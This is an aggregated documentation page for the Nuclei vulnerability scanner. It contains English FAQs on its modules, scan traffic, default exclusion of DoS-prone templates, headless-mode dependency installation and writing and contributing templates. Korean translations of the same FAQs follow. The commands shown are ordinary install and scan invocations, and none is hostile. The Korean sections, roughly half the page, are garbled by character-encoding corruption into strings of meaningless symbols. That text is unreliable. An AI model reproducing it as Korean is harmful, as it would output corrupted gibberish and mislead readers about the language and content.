nuclei Documentation

Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration...

RAW Doc

Docker & Self-Hosted Deployment Verified OCI

Deploy nuclei on any server, homelab, or cloud container platform.

1-Click Terminal Command
bash (docker run)
docker run -d --name nuclei --restart always projectdiscovery/nuclei:latest

1. Project Overview & Quickstart (projectdiscovery/nuclei)

nuclei

Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.

Repository Details

Note: High-volume repository documentation is actively indexed and synchronized by YakaAI.

2. Official Technical Reference & Guides (projectdiscovery/nuclei-docs)

File: docs/faq/nuclei.md

??? info "What is nuclei?"

text
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.

It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.

??? info "What was the genesis behind nuclei?"
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.

text
We wanted something simple enough to be used by ==**everyone**== while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.

??? info "What modules does nuclei engine support?"

text
Nuclei engine supports the following type of modules.

- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

??? info "What kind of scans can I perform with nuclei?"

text
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.

??? info "How well-maintained is this project?"

text
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.

??? tip "How can I support/contribute to this project? ๐Ÿ’™"

text
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.

If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).

??? warning "I found results with nuclei. When should I report it?"

text
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.

??? tip "How do I validate nuclei results?"

	Once nuclei finds a result, and you have vulnerable ==target== and ==template==, rerun the template with ==`-debug`== flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.

??? warning "How much traffic does nuclei generate?"

text
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.

!!! info ""
	As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.

??? warning "Is it safe to run nuclei?"

text
We consider two factors in regards to calling nuclei =="safe"== -

1. The **traffic** nuclei makes against the target website.
2. The **impact** templates have on the target website.

!!! check "HTTP Traffic"

	Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.

!!! check "Safe Templates"

	The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can only be executed when explicitly invoked using the `-itags` option.

??? info "What is nuclei's license?"

text
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).

??? info "I have more questions! ๐Ÿ™‹"

text
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).

??? warning "Missing dependencies in headless mode on Linux"

text
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
Ubuntu

With snap:
```sh
sudo snap install chromium
```

Without snap:
```sh
sudo apt update
sudo snap refresh
sudo apt install zip curl wget git
sudo snap install golang --classic
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - 
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt update 
sudo apt install google-chrome-stable
```

In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
```
sudo apt-get install libnss3 libgconf-2-4
```

If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:

```
sudo apt-get install libnss3-dev
```

Error type examples:
```
Error:      	Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
```
```
could not create browser
```
```
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
Please install it with:
snap install chromium
```

File: docs/faq/templates.md

??? info "What are nuclei templates?"

text
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.

??? info "How can I write nuclei templates?"

text
We maintain a [documentation guide](https://nuclei.projectdiscovery.io/templating-guide/) for writing new and custom nuclei templates. We also have [sample templates](https://nuclei.projectdiscovery.io/template-examples/http/) for various modules nuclei supports.

??? tip "Is writing nuclei templates useful?"

text
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.

Here are few examples from the community making use of templates to automate the security findings.



??? Reference
	- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
	- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
	- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
	- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
	- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

??? info "How do I run nuclei templates?"

text
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.

```
nuclei -tags cve -list target_urls.txt
```

??? info "I want to contribute nuclei templates! ๐Ÿ˜"

text
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.

??? warning "I'm getting false-positive results!"
The nuclei template project is a community-contributed project. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. Templates are only as good as their matchers.

text
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.

??? info "I found a template producing false positive or negative results, but I'm not sure if this is accurate."

	Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.

??? info "I found a template producing false positive or negative result and I don't know how to fix it."

	Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.

??? info "I found a template producing a false positive or negative result and I know how to fix it."

	Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.

??? warning "I'm not able to run all templates!"

text
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.

??? warning "Templates exist on GitHub but are not running with nuclei?"

text
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.

File: docs/kr/faq/nuclei.md

??? info "Nuclei๋Š” ๋ฌด์—‡์ธ๊ฐ€์š”?"

text
Nuclei๋Š” ๊ฐ„๋‹จํ•œ YAML ํ…œํ”Œ๋ฆฟ์„ ๊ธฐ์ดˆ๋กœ ํ•œ ๋น ๋ฅธ ๋งž์ถคํ˜• ์ทจ์•ฝ์  ์Šค์บ๋„ˆ์ž…๋‹ˆ๋‹ค.

2๊ฐœ์˜ ์š”์†Œ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - ์‰ฝ๊ฒŒ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๋Š” YAML ๊ธฐ๋ฐ˜ ํ˜•์‹์œผ๋กœ HTTP/DNS/๋„คํŠธ์›Œํฌ/ํ—ค๋“œ๋ฆฌ์Šค/ํŒŒ์ผ ํ”„๋กœํ† ์ฝœ ๊ธฐ๋ฐ˜ ๊ฒ€์‚ฌ๋ฅผ ์Šคํฌ๋ฆฝํŒ…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ์ฆ‰์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ธฐ์—ฌํ•ด์ค€** ์ทจ์•ฝ์  ํ…œํ”Œ๋ฆฟ์ž…๋‹ˆ๋‹ค.

??? info "์–ด๋–ป๊ฒŒ ์‹œ์ž‘ํ•˜๊ฒŒ ๋˜์—ˆ๋‚˜์š”?"
๊ธฐ์กด์˜ ์Šค์บ๋„ˆ๋Š” ์—”์ง„ ์œ„์— ์“ฐ๊ธฐ ์‰ฌ์šด ๋งž์ถค์‹ ๊ฒ€์‚ฌ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ธฐ๋Šฅ์ด ํ•ญ์ƒ ๋ถ€์กฑํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ๋‹จ์ˆœ์„ฑ, ๋ชจ๋“ˆ์„ฑ, ๊ทธ๋ฆฌ๊ณ  ๋งŽ์€ ์—์…‹๋“ค์„ ์Šค์บ”ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์— ์ค‘์ ์„ ๋‘๊ณ  Nuclei๋ฅผ ๊ฐœ๋ฐœํ•˜๊ธฐ ์‹œ์ž‘ํ•œ ์ด์œ ์ž…๋‹ˆ๋‹ค.

text
๋ˆ„๊ตฌ๋‚˜ ์‚ฌ์šฉํ•˜๊ธฐ์— ๊ฐ„ํŽธํ•˜๊ธฐ๋„ ํ•˜๊ณ  ํ˜„๋Œ€ ์›น์— ํ†ตํ•ฉ๋  ๋งŒํผ ์ถฉ๋ถ„ํžˆ ์ •๊ตํ•˜๊ธธ ์›ํ–ˆ์Šต๋‹ˆ๋‹ค. Nuclei์˜ ๊ธฐ๋Šฅ๋“ค์€ ๋ณต์žกํ•œ ๋ณด์•ˆ ๊ฒ€์‚ฌ๋ฅผ ๋งค์šฐ ๋น ๋ฅด๊ฒŒ ํ”„๋กœํ† ํƒ€์ž…ํ™” ํ•  ์ˆ˜ ์žˆ๋„๋ก ์กฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

??? info "์–ด๋–ค ๋ชจ๋“ˆ์„ ์ง€์›ํ•˜๋‚˜์š”?"

text
Nuclei๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ชจ๋“ˆ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

??? info "Nuclei๋ฅผ ํ†ตํ•ด ์–ด๋–ค ์ข…๋ฅ˜์˜ ์Šค์บ”์„ ํ•  ์ˆ˜ ์žˆ๋‚˜์š”?"

text
Nuclei๋Š” ๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋‚˜ ํŒŒ์ผ๋“ค์— ์žˆ๋Š” **์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜**, **๋„คํŠธ์›Œํฌ**, **์ž˜๋ชป๋œ ๊ตฌ์„ฑ ๊ธฐ๋ฐ˜์˜ DNS**, **๋น„๋ฐ€์Šค๋Ÿฌ์šด ์Šค์บ๋‹**๋“ฑ์—์„œ ์ƒ๊ธฐ๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ํƒ์ง€ ํ•˜๋Š”๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

??? info "์–ด๋–ป๊ฒŒ ์ด ํ”„๋กœ์ ํŠธ๋Š” ์–ด๋–ป๊ฒŒ ์œ ์ง€๋˜๊ณ  ์žˆ๋‚˜์š”?"

text
Nuclei ํ”„๋กœ์ œํŠธ๋Š” ํ˜„์žฌ [ProjectDiscovery](https://projectdiscovery.io/#/)ํŒ€์— ์˜ํ•ด์„œ ๊ฐœ๋ฐœ ๋ฐ ์œ ์ง€๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ผ๋ฐ˜์ ์œผ๋กœ ๋งค 2์ฃผ๋งˆ๋‹ค ๋ฆด๋ฆฌ์ฆˆ๋ฅผ ์ง„ํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

??? tip "์–ด๋–ป๊ฒŒ ์ด ํ”„๋กœ์ ํŠธ์— ์ง€์›/๊ธฐ์—ฌ ํ•  ์ˆ˜ ์žˆ๋‚˜์š”? ๐Ÿ’™"

text
ํ”„๋กœ์ ํŠธ์˜ ๋ชจ๋ฉ˜ํ…€์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ, ๋ชจ๋‘๊ฐ€ [template project](https://github.com/projectdiscovery/nuclei-templates)์—์„œ ์ƒˆ๋กœ์šด ํ…œํ”Œ๋ฆฟ์„ ์ƒ์„ฑํ•˜๊ณ  ์ปค๋ฎค๋‹ˆํ‹ฐ์— ๊ณต์œ ํ•ด์ฃผ๊ธธ ์›ํ•ฉ๋‹ˆ๋‹ค. Nuclei ํ…œํ”Œ๋ฆฟ ์ €์žฅ์†Œ๊ฐ€ ๊ณต๊ฐœ์ ์ด๊ณ , ์ฆ‰์‹œ ์‚ฌ์šฉ๊ฐ€๋Šฅ ํ•˜๊ณ , ์ตœ์‹ ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋„์™€์ฃผ์„ธ์š”.

Nuclei๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ์ฐพ์€ ํฅ๋ฏธ๋กญ๊ฑฐ๋‚˜ ํŠน๋ณ„ํ•œ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์ฐพ์•˜๊ณ , ์ด ๊ณผ์ • ์ „์ฒด๋ฅผ ๋ธ”๋กœ๊ทธ์˜ ํ˜•ํƒœ๋กœ ๊ณต์œ ํ•˜๊ณ ์ž ํ•œ๋‹ค๋ฉด [ProjectDiscovery blog](https://blog.projectdiscovery.io)์— ๊ฒŒ์ŠคํŠธ ๊ฒŒ์‹œ๋ฌผ๋กœ ์˜ฌ๋ ค์ฃผ์‹œ๋ฉด ๊ฐ์‚ฌํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

??? warning "Nuclei์—์„œ ๊ฒฐ๊ณผ๋ฅผ ์–ป์—ˆ์Šต๋‹ˆ๋‹ค. ์–ธ์ œ ์ด๋ฅผ ์‹ ๊ณ (Report)ํ•ด์•ผํ•˜๋‚˜์š”?"

text
**์ž ์‹œ๋งŒ์š”** -- Nuclei์—์„œ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์ฐพ์€ ์ดํ›„์— ํ•ญ์ƒ ์ด๋ฅผ ์‹ ๊ณ ํ•˜๊ธฐ ์ด์ „์— ๋‹ค์‹œ ์‚ดํŽด ๋ณด๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๋ฌธ์ œ๋ฅผ ํ™•์ธ/๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•œ ํŒ์ž…๋‹ˆ๋‹ค.

??? tip "์–ด๋–ป๊ฒŒ Nuclei์˜ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ€์ฆํ•˜๋‚˜์š”?"

	Nuclei๋ฅผ ํ†ตํ•ด ๊ฒฐ๊ณผ๋ฅผ ํš๋“ํ•˜๊ณ , ์ทจ์•ฝํ•œ ๋Œ€์ƒ๊ณผ ํ…œํ”Œ๋ฆฟ์„ ์•Œ๊ฒŒ ๋˜๋ฉด, ==`-debug`== ํ”Œ๋ž˜๊ทธ์™€ ํ•จ๊ป˜ ํ…œํ”Œ๋ฆฟ์„ ๋‹ค์‹œ ์‹คํ–‰ํ•˜์—ฌ ํ…œํ”Œ๋ฆฟ์— ์ •์˜๋œ ์˜ˆ์ƒ ๊ฒฐ๊ณผ์™€ ๋น„๊ตํ•˜์—ฌ ์ถœ๋ ฅ์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์„ ํ†ตํ•ด์„œ, ์‹๋ณ„๋œ ์ทจ์•ฝ์ ์„ ํ™•์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

??? warning "Nuclei๊ฐ€ ์ƒ์„ฑํ•˜๋Š” ํŠธ๋ž˜ํ”ฝ์€ ์–ผ๋งˆ๋‚˜ ๋งŽ์€๊ฐ€์š”?"

text
๊ธฐ๋ณธ์ ์œผ๋กœ **๋ชจ๋“  nuclei-templates**์„ ์‹คํ–‰ํ•  ๋•Œ ํ•œ ๋Œ€์ƒ์—๊ฒŒ (HTTP ํ”„๋กœํ† ์ฝœ ๊ณผ ๋‹ค๋ฅธ ์„œ๋น„์Šค ๋ชจ๋‘) ์ˆ˜ ์ฒœ๊ฐœ์˜ ์š”์ฒญ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋งค์ผ ์ถ”๊ฐ€๋˜๋Š” 3500๊ฐœ์˜ Nuclei ํ…œํ”Œ๋ฆฟ์—์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค.

!!! info ""
	๊ธฐ๋ณธ์ ์œผ๋กœ [์ด ๊ณณ](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)์— ์žˆ๋Š” ์ผ๋ถ€ ํ…œํ”Œ๋ฆฟ์€ ๊ธฐ๋ณธ ๊ฒ€์ƒ‰์—์„œ ์ œ์™ธ๋ฉ๋‹ˆ๋‹ค.

??? warning "Nuclei๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์€ ์•ˆ์ „ํ•œ๊ฐ€์š”?"

text
Nuclei์—์„œ =="์•ˆ์ „"== ํ•˜๋‹ค๊ณ  ๋งํ•˜๊ธฐ ์œ„ํ•ด์„œ ๋‘ ๊ฐ€์ง€๋ฅผ ๊ณ ๋ คํ•ฉ๋‹ˆ๋‹ค.

1. ํ•ต์ด ๋Œ€์ƒ ์‚ฌ์ดํŠธ์— ์ƒ์„ฑํ•œ **ํŠธ๋ž˜ํ”ฝ**.
2. ํ…œํ”Œ๋ฆฟ์ด ์‚ฌ์ดํŠธ์— ๋ฏธ์น˜๋Š” **์˜ํ–ฅ**

!!! check "HTTP ํŠธ๋ž˜ํ”ฝ"

	Nuclei๋Š” ์ง€๋Šฅ์ ์ธ ์š”์ฒญ ๊ฐ์†Œ ๋•Œ๋ฌธ์— ํ•ญ์ƒ ์„ ํƒ๋œ ํ…œํ”Œ๋ฆฟ ์ˆ˜๋ณด๋‹ค ์ ์€ ์ˆ˜์˜ HTTP ์š”์ฒญ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ํ…œํ”Œ๋ฆฟ์—๋Š” ๋‹ค์ˆ˜์˜ ์š”์ฒญ์ด ํฌํ•จ๋˜์–ด ์žˆ์ง€๋งŒ, ์ด ๋ฃฐ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๋Œ€๋ถ€๋ถ„์˜ ์Šค์บ” ์„ค์ •์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.
	
!!! check "์•ˆ์ „ํ•œ ํ…œํ”Œ๋ฆฟ"

	Nuclei ํ…œํ”Œ๋ฆฟ์—๋Š” ํผ์ง€ ๋ฐ ๋Œ€์ƒ ์‹œ์Šคํ…œ์— DoS๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ํ…œํ”Œ๋ฆฟ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค([๋ชฉ๋ก](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) ์ฐธ์กฐ). ์ด๋Ÿฌํ•œ ํ…œํ”Œ๋ฆฟ๋“ค์ด ์‹ค์ˆ˜๋กœ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ํ…œํ”Œ๋ฆฟ์— ํƒœ๊ทธ๋ฅผ ๋‹ฌ๊ณ  ๊ธฐ๋ณธ ์Šค์บ”์—์„œ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ํ…œํ”Œ๋ฆฟ๋“ค์€ `-itags` ์˜ต์…˜์„ ์‚ฌ์šฉํ•œ ๋ช…์‹œ์ ์ธ ๊ฒฝ์šฐ์—๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

??? info "Nuclei ๋ผ์ด์„ ์Šค๋Š” ๋ฌด์—‡์ธ๊ฐ€์š”?"

text
Nuclei [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)๋ฅผ ๊ฐ€์ง„ ์˜คํ”ˆ์†Œ์Šค ํ”„๋กœ์ ํŠธ์ž…๋‹ˆ๋‹ค.

??? info "๋” ๋งŽ์€ ์งˆ๋ฌธ์„ ํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค! ๐Ÿ™‹"

text
[Discord server](https://discord.gg/projectdiscovery)์— ์ฐธ์—ฌํ•˜์‹œ๊ฑฐ๋‚˜ [Twitter](http://twitter.com/pdnuclei)๋กœ ์—ฐ๋ฝ์„ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

File: docs/kr/faq/templates.md

??? info "Nuclei ํ…œํ”Œ๋ฆฟ์ด ๋ญ”๊ฐ€์š”?"

text
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) ๋Š” Nuclei ํ”„๋กœ์ ํŠธ์˜ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ํ…œํ”Œ๋ฆฟ๋“ค์€ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์‹คํ–‰๋˜๋Š” ํ•ต์‹ฌ ๋กœ์ง์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœ์ ํŠธ๋Š” **์ˆ˜์ฒœ ๊ฐœ**์˜ ์ฆ‰์‹œ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ **[์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ธฐ์—ฌํ•ด์ค€](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** ์ทจ์•ฝ์  ํ…œํ”Œ๋ฆฟ๋“ค๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

??? info "์–ด๋–ป๊ฒŒ Nuclei ํ…œํ”Œ๋ฆฟ์„ ์žฅ์„ฑํ•  ์ˆ˜ ์žˆ๋‚˜์š”?"

text
Nuclei templates ์„ ์ƒˆ๋กœ ์ž‘์„ฑํ•˜๊ณ  ์ปค์Šคํ…€ ํ•˜๊ธฐ ์œ„ํ•œ [๊ฐ€์ด๋“œ](https://nuclei.projectdiscovery.io/templating-guide/)๋ฅผ ์œ ์ง€ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, Nuclei๊ฐ€ ์ง€์›ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ชจ๋“ˆ๋“ค์— ๋Œ€ํ•œ [์ƒ˜ํ”Œ ํƒฌํ”Œ๋ฆฟ](https://nuclei.projectdiscovery.io/template-examples/http/)๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

??? tip "Nuclei ํ…œํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•œ๊ฐ€์š”?"

text
ํ•œ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ์„ ํ‰๊ฐ€ํ•˜๋Š” ์ผ์„ ๋งŽ์€ ์‹œ๊ฐ„์„ ์†Œ๋ชจํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•  ๋•Œ๋งˆ๋‹ค ๋‹จ๊ณ„๋ฅผ ์ž๋™ํ™” ํ•˜๋Š” ๊ฒƒ์€ ์–ธ์ œ๋‚˜ ์‹œ๊ฐ„์ด ์ ˆ์•ฝ๋˜๊ณ  ์ข‹์€ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด, ๊ทธ ์ด์Šˆ๋ฅผ ์žฌํ˜„ํ•˜๊ธฐ ์œ„ํ•˜์—ฌ ํ•„์š”ํ•œ HTTP ์š”์ฒญ์„ ์ •์˜ํ•˜์—ฌ Nuclei ํ…œํ”Œ๋ฆฟ์„ ์ค€๋น„ํ•˜๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์‰ฝ๊ฒŒ ์—ฌ๋Ÿฌ ํ˜ธ์ŠคํŠธ์—์„œ ๋™์ผํ•œ ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. **ํ…œํ”Œ๋ฆฟ์„ ํ•œ ๋ฒˆ ์ž‘์„ฑํ•˜์—ฌ ์˜์›ํžˆ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ**์€ ๋” ์ด์ƒ ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜๋™์œผ๋กœ ํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์ถฉ๋ถ„ํžˆ ๊ฐ€์น˜์žˆ๋Š” ์ผ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์€ ๋ณด์•ˆ๊ด€๋ จ ๊ฒฐ๊ณผ๋“ค์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

??? Reference
	- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
	- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
	- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
	- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
	- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

??? info "Nuclei ํ…œํ”Œ๋ฆฟ์„ ์–ด๋–ป๊ฒŒ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‚˜์š”?"

text
Nuclei ํ…œํ”Œ๋ฆฟ์€ ์ด๋ฆ„๊ณผ ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด (๊ฐ๊ฐ `-templates` (`-t`)๋‚˜ `-tags`ํ”Œ๋ž˜๊ทธ) ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

```
nuclei -tags cve -list target_urls.txt
```

??? info "Nuclei ํ…œํ”Œ๋ฆฟ์— ๊ธฐ์—ฌํ•˜๊ณ  ์‹ถ์–ด์š”! ๐Ÿ˜"

text
